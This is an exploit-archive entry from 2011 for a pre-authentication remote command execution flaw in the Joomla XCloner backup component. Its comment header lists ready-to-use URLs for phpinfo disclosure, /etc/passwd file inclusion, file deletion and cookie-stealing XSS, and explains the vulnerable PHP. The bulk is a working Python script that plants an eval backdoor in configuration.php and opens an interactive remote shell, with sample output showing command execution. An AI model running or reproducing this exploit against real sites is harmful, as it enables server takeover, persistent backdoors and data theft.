发布 2011-02-25 漏洞条目

Joomla! Component com_xcloner-backupandrestore – Remote Command Execution

Exploit Source

#!/usr/bin/python

# Joomla component (com_xcloner-backupandrestore) remote code execution exploit

# Vendor: http://www.xcloner.com/

# "Our true divinity is in our ability to create. And armed with the understanding of the symbiotic connections

# of life, while being guided by the emergent nature of reality, there is nothing we cannot do or accomplish."

# - Zeitgeist addendum

# Target Environment Settings:

# ============================

# register_globals = On/Off (doesnt matter)

# Description:

# ============

# XCloner is a Website Backup and Restore application designed for PHP/Mysql websites, it can work as a native plugin for WordPress and Joomla!.

# XCloner design was specifically created to Generate custom backups of any LAMP website through custom admin inputs, and to be able to Restore

# the clone on any other location with the help of the automatic Restore script we provide, independent from the main package!

# XCloner Backup tool uses Open Source standards like TAR and Mysql formats so you can rest assured your backups can be restored in a variety

# of ways, giving you more flexibility and full control.

# Vulnerability List (wordpress/joomla) & Explanation:

# ====================================================

# Here is the list of pre - auth vulns o.O:

# Information Disclosure with phpinfo()

# http://[target]/[path]/wp-content/plugins/xcloner-backup-and-restore/restore/XCloner.php?task=info

# http://[target]/[path]/administrator/components/com_xcloner-backupandrestore/restore/XCloner.php?task=info

# Local File Inclusion:

# http://[target]/[path]/wp-content/plugins/xcloner-backup-and-restore/cloner.cron.php?config=../../../../../../../../etc/passwd

# http://[target]/[path]/administrator/components/com_xcloner-backupandrestore/cloner.cron.php?config=../../../../../../../../etc/passwd

# DoS/damage by calling unlink() on wordpress/joomla files:

# http://[target]/[wp path]/wp-content/plugins/xcloner-backup-and-restore/restore/XCloner.php?task=step2&output_path=[path]/[file]

# http://[target]/[path]/administrator/components/com_xcloner-backupandrestore/restore/XCloner.php?task=step2&output_path=[path]/[file]

# XSS:

# http://[target]/[path]/wp-content/plugins/xcloner-backup-and-restore/index2.php?option=com_cloner&mosmsg=<script>alert(document.cookie)</script>

# http://[target]/[path]/wp-content/plugins/xcloner-backup-and-restore/index2.php?username=adsc&password=dac&option=com_cloner

# ";alert(document.cookie)//&task=dologin&boxchecked=0&hidemainmenu=0

# http://[target]/[path]/administrator/components/com_xcloner-backupandrestore/index2.php?option=com_cloner&mosmsg=

# <script>alert(document.cookie)</script>

# Not to mention the post - auth bugs...... but the most potent, pre-auth rce (joomla only). Enough yip yap, here we go....

# By accessing the XCloner.php page, the webmaster is presented an important message: "Security Note: After restore delete the

# XCloner.php script from your server". So my understanding is that the vulnerable code in this file, is sitting on web servers

# without requiring authentication to access until a restore happens. o.O. Below is an explanation of the vulnerable code, sorry but

# this is going to be long:

# The XCloner.php script begins by setting the array element 'output_path' of $_CONFIG to our input on line 72:

# $_CONFIG['output_path'] = $_REQUEST['output_path'];

# Later on we see a simple switch on lines 134-150 on our task parameter

# switch ($_REQUEST[task]) {

# case 'step2':

# step2();

# break;

# We follow the case "step2" switch and land into that function (step2()) defined on lines 178-?. Inside that function we set the

# $_CONFIG array to global. The attacker must make sure that they DO NOT set the 'DBcreated' or 'transfer_mode' variable to 'on' or '2'

# (respectively) as it will kill our script when if it fails to connect to the database or FTP server. This is important to note,

# you will see later on.

# function step2($file=""){

# global $_CONFIG,$filepath ;

# $DBcreated = $_REQUEST[DBcreated];

# if ($DBcreated=='on'){

# -- snip --

# $db = @mysql_connect($DBhostname, $DBuserName, $DBpassword) or die("<br />The database details provided are incor... blah blah

# -- snip --

# if($_REQUEST[transfer_mode]==2){

# -- snip --

# // set up basic connection

# $conn_id = @ftp_connect($_REQUEST[ftp_server], $_REQUEST[ftp_port]) or die("<span class='error'>Could not connect to .. blah blah

# We keep looking and we see something interesting on lines 473 - 483

# if(($_REQUEST['do_database'] != 1) || ($_REQUEST['files_skip'] == 1)){

# $config_file = $_CONFIG[output_path]."/configuration.php";

# @chmod($config_file,0777);

# @unlink($_CONFIG[output_path]."/administrator/backups/perm.txt");

# if(($_CONFIG['sql_usefile'] == "database-sql.sql") and ($update_config))

# if(write_config($config_file)){

# echo "<H2>Configuration updated!</H2>";

# }else{

# echo "<span class='error'>Unable to write to configuration file $config_file... Aborting...</span>";return;

# }

# So an attacker must ensure that our request does not contain any 'do_database' variable or have the 'files_skip' variable containing a

# value of '1'. If the attacker calls the configuration.php with a null byte (../../../../configuration.php%00) then the unlink() will be

# triggered and delete the config file we are trying to backdoor! So the attacker can specify the 'output_path' variable to

# '../../../../' instead and simply let the application append the 'configuration.php'. Now lets break down the call to write_config()

# which is defined at line 547

# function write_config($file){

# echo "made it here";

# if(@$fp = fopen($file, "r")){

# $config_data = "";

# while(!feof($fp))

# $config_data .= fread($fp, 1024);

# fclose($fp);

# }

# Ok so the script reads the file into $config_data variable.

# if ($_REQUEST[DBcreated] == 'on'){

# $config_data = str_replace("define('DB_HOST', '", "define('DB_HOST', '".$_REQUEST[mysql_server]."');#", $config_data);

# $config_data = str_replace("define('DB_USER', '", "define('DB_USER', '".$_REQUEST[mysql_username]."');#

# -- snip --

# if($_REQUEST['transfer_mode'] == 2){

# $config_data = str_replace('$'.'ftp_host =',"$"."ftp_host ='".$_REQUEST[ftp_server]."';#", $config_data);

# $config_data = str_replace('$'.'ftp_port =',"$"."ftp_port ='".$_REQUEST[ftp_port]."';#", $config_

# -- snip --

# Now if the 'DBcreated' variable is set to 'on' or the 'transfer_mode' variable is set to '2', the attacker can overwrite the configuration.php

# file with 'mysql_server', 'mysql_username' or 'ftp_server', 'ftp_port' variables etc. However, the beginning of the XCloner.php script will

# kill the execution simply because setting those values will force the code to make an authentication, fail (if credz are wrong) and then die.

# if we keep looking, from line 585 we see:

# $config_data = str_replace('$'.'live_site =',"$"."live_site ='".$_REQUEST[output_url_pref]."://".$_REQUEST[output_url]."';#", $config_data);

# if ($fp = fopen($file, "w")) {

# fwrite( $fp, $config_data);

# fclose( $fp );

# } else {

# return false;

# } // if

# return true;

# }

# This is not part of the if statements like before, so the attacker at this point can simply overwrite the '$live_site' variable contained

# within configuration.php with 'malicious' code by setting the 'output_url_pref' variable accordingly.

# Exploitation:

# =============

# Seems to be that joomla and wordpress both have the vulnerable code in their plugins however only joomla uses the $live_site

# variable in their configuration file.

# Simply set the backdoor in configuration.php against our target:

# http://[target]/[path]administrator/components/com_xcloner-backupandrestore/restore/XCloner.php?

# task=step2&output_url_pref=';+}+?>+<?php+eval($_GET['lol']);+?>&output_path=../../../../

# Execute our code:

# http://[target]/[path]/?lol=phpinfo();

# http://[target]/[path]/?lol=system("id");

# [mr_me@pluto xcloner]$ python 0day.py -p localhost:8080 -t 192.168.1.3 -d /webapps/joomla/

# | ----------------------------------------------------------------------------- |

# | Joomla component (com_xcloner-backupandrestore) remote code execution explo!t |

# | by mr_me - net-ninja.net ---------------------------------------------------- |

# (+) Testing proxy @ localhost:8080.. proxy is found to be working!

# (+) Targeting http://192.168.1.3/webapps/joomla/

# (!) Exploit working!

# (+) Droping to remote console (q for quit)

# mr_me@192.168.1.3# id

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# mr_me@192.168.1.3# q

import sys

import urllib

import re

import urllib2

import getpass

import base64

from optparse import OptionParser

usage = "./%prog [<options>] -t [target] -d [directory]"

usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /joomla/"

parser = OptionParser(usage=usage)

parser.add_option("-p", type="string",action="store", dest="proxy",

help="HTTP Proxy <server:port>")

parser.add_option("-t", type="string", action="store", dest="target",

help="The Target server <server:port>")

parser.add_option("-d", type="string", action="store", dest="dirPath",

help="Directory path to the CMS")

(options, args) = parser.parse_args()

def banner():

print "\n\t| ----------------------------------------------------------------------------- |"

print "\t| Joomla component (com_xcloner-backupandrestore) remote code execution explo!t |"

print "\t| by mr_me - net-ninja.net ---------------------------------------------------- |\n"

if len(sys.argv) < 5:

banner()

parser.print_help()

sys.exit(1)

def testProxy():

check = 1

sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))

sys.stdout.flush()

try:

req = urllib2.Request("http://www.google.com/")

req.set_proxy(options.proxy,"http")

check = urllib2.urlopen(req)

except:

check = 0

pass

if check != 0:

sys.stdout.write("proxy is found to be working!\n")

sys.stdout.flush()

else:

print "proxy failed, exiting.."

sys.exit(1)

def interactiveAttack():

print "(+) Droping to remote console (q for quit)\n"

hn = "%s@%s# " % (getpass.getuser(), options.target)

preBaseCmd = ""

while preBaseCmd != 'q':

preBaseCmd = raw_input(hn)

preBaseCmdSetup = ("system(\"%s\");" % (preBaseCmd))

cmdInBase64 = base64.b64encode(preBaseCmdSetup)

cookieCmd = ("lol=%s;" % (cmdInBase64))

resp = getServerResponse(options.target + options.dirPath, cookieCmd, None)

result = resp.split("://")[0]

print result

def getServerResponse(exploit, header=None, data=None):

try:

headers = {}

if header != None:

headers['Cookie'] = header

if data != None:

data = urllib.urlencode(data)

req = urllib2.Request("http://"+exploit, data, headers)

if options.proxy:

req.set_proxy(options.proxy,"http")

check = urllib2.urlopen(req).read()

except:

check = error.read()

return check

def backdoorTarget():

print "(+) Targeting http://%s%s" % (options.target, options.dirPath)

phpShell = "'; } ?> <?php eval(base64_decode($_COOKIE['lol'])); ?>"

backdoorReq = ("administrator/components/com_xcloner-backupandrestore/restore/XCloner.php")

data = {'task':'step2', 'output_url_pref':phpShell, 'output_path':'../../../../'}

req = options.target + options.dirPath + backdoorReq

check = getServerResponse(req, None, data)

if re.search("All should be done! Click here to continue...", check):

print "(!) Exploit working!"

interactiveAttack()

else:

print "(-) Exploit failed, exiting.."

sys.exit(1)

def main():

banner()

if options.proxy:

testProxy()

backdoorTarget()

if __name__ == "__main__":

main()

作者: mr_me
日期: 2011-02-25
类别: webapps
平台: php

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